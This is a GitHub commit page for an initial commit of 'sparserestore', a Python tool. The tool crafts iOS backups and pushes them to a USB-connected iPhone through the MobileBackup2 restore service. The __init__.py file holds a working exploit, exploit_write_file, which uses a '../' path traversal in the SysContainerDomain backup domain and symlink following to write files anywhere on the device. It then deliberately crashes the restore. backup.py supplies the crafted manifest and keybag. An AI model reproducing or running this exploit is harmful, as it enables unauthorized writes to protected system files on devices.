Skip to content

Commit

Permalink
Push files
Browse files Browse the repository at this point in the history
  • Loading branch information
TheMasterOfMike committed Sep 1, 2024
0 parents commit 77499b8
Show file tree
Hide file tree
Showing 6 changed files with 652 additions and 0 deletions.
165 changes: 165 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
.DS_Store

# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class

# C extensions
*.so

# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST

# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec

# Installer logs
pip-log.txt
pip-delete-this-directory.txt

# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/

# Translations
*.mo
*.pot

# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal

# Flask stuff:
instance/
.webassets-cache

# Scrapy stuff:
.scrapy

# Sphinx documentation
docs/_build/

# PyBuilder
.pybuilder/
target/

# Jupyter Notebook
.ipynb_checkpoints

# IPython
profile_default/
ipython_config.py

# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version

# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock

# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock

# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
.pdm.toml
.pdm-python
.pdm-build/

# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/

# Celery stuff
celerybeat-schedule
celerybeat.pid

# SageMath parsed files
*.sage.py

# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/

# Spyder project settings
.spyderproject
.spyproject

# Rope project settings
.ropeproject

# mkdocs documentation
/site

# mypy
.mypy_cache/
.dmypy.json
dmypy.json

# Pyre type checker
.pyre/

# pytype static type analyzer
.pytype/

# Cython debug symbols
cython_debug/

# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
.idea/

3 changes: 3 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
pymobiledevice3
bpylist2
rich
40 changes: 40 additions & 0 deletions sparserestore/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
from tempfile import TemporaryDirectory
from pathlib import Path

from pymobiledevice3.lockdown import create_using_usbmux
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
from pymobiledevice3.exceptions import PyMobileDevice3Exception

from . import backup
from .backup import _FileMode as FileMode

def perform_restore(backup: backup.Backup, reboot: bool = False):
with TemporaryDirectory() as backup_dir:
backup.write_to_directory(Path(backup_dir))

lockdown = create_using_usbmux()
with Mobilebackup2Service(lockdown) as mb:
mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")

def exploit_write_file(file: backup.BackupFile):
# Exploits in use:
# - Path after SysContainerDomain- or SysSharedContainerDomain- is not sanitized
# - SysContainerDomain will follow symlinks

# /var/.backup.i/var/mobile/Library/Backup/System Containers/Data/com.container.name
# ../ ../ ../ ../ ../ ../ ../ ../
ROOT = "SysContainerDomain-../../../../../../../.."
file.domain = ROOT + file.path
file.path = ""

back = backup.Backup(files=[
file,
# Crash on purpose so that a restore is not actually applied
backup.ConcreteFile("", ROOT + "/crash_on_purpose", contents=b"")
])

try:
perform_restore(back)
except PyMobileDevice3Exception as e:
if "crash_on_purpose" not in str(e):
raise e
185 changes: 185 additions & 0 deletions sparserestore/backup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
from dataclasses import dataclass
from datetime import datetime
import plistlib
from pathlib import Path
from base64 import b64decode
from hashlib import sha1
from . import mbdb
from .mbdb import _FileMode
from random import randbytes
from typing import Optional

# RWX:RX:RX
DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH

@dataclass
class BackupFile:
path: str
domain: str

def to_record(self) -> mbdb.MbdbRecord:
raise NotImplementedError()

@dataclass
class ConcreteFile(BackupFile):
contents: bytes
owner: int = 0
group: int = 0
inode: Optional[int] = None
mode: _FileMode = DEFAULT

def to_record(self) -> mbdb.MbdbRecord:
if self.inode is None:
self.inode = int.from_bytes(randbytes(8), "big")
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link="",
hash=sha1(self.contents).digest(),
key=b"",
mode=self.mode | _FileMode.S_IFREG,
#unknown2=0,
#unknown3=0,
inode=self.inode,
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=len(self.contents),
flags=4,
properties=[]
)

@dataclass
class Directory(BackupFile):
owner: int = 0
group: int = 0
mode: _FileMode = DEFAULT

def to_record(self) -> mbdb.MbdbRecord:
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link="",
hash=b"",
key=b"",
mode=self.mode | _FileMode.S_IFDIR,
#unknown2=0,
#unknown3=0,
inode=0, # inode is not respected for directories
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=0,
flags=4,
properties=[]
)

@dataclass
class SymbolicLink(BackupFile):
target: str
owner: int = 0
group: int = 0
inode: Optional[int] = None
mode: _FileMode = DEFAULT

def to_record(self) -> mbdb.MbdbRecord:
if self.inode is None:
self.inode = int.from_bytes(randbytes(8), "big")
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link=self.target,
hash=b"",
key=b"",
mode=self.mode | _FileMode.S_IFLNK,
#unknown2=0,
#unknown3=0,
inode=self.inode,
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=0,
flags=4,
properties=[]
)

@dataclass
class Backup:
files: list[BackupFile]

def write_to_directory(self, directory: Path):
for file in self.files:
if isinstance(file, ConcreteFile):
#print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex())
with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f:
f.write(file.contents)

with open(directory / "Manifest.mbdb", "wb") as f:
f.write(self.generate_manifest_db().to_bytes())

with open(directory / "Status.plist", "wb") as f:
f.write(self.generate_status())

with open(directory / "Manifest.plist", "wb") as f:
f.write(self.generate_manifest())

with open(directory / "Info.plist", "wb") as f:
f.write(plistlib.dumps({}))


def generate_manifest_db(self): # Manifest.mbdb
records = []
for file in self.files:
records.append(file.to_record())
return mbdb.Mbdb(records=records)

def generate_status(self) -> bytes: # Status.plist
return plistlib.dumps({
"BackupState": "new",
"Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"),
"IsFullBackup": False,
"SnapshotState": "finished",
"UUID": "00000000-0000-0000-0000-000000000000",
"Version": "2.4"
})

def generate_manifest(self) -> bytes: # Manifest.plist
return plistlib.dumps({
"BackupKeyBag": b64decode("""
VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D
SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA
AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA
AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE
AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9
UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU
WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z
ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE
AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh
jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS
QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA
ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE
AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t
djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM
QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7
Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE
cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY
PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9
Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA
AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ
rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA
AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV
SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA
AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u
xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA
A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z
Z8FDgd7YoALY1g=="""),
"Lockdown": {},
"SystemDomainsVersion": "20.0",
"Version": "9.1"
})
Loading

0 comments on commit 77499b8

Please sign in to comment.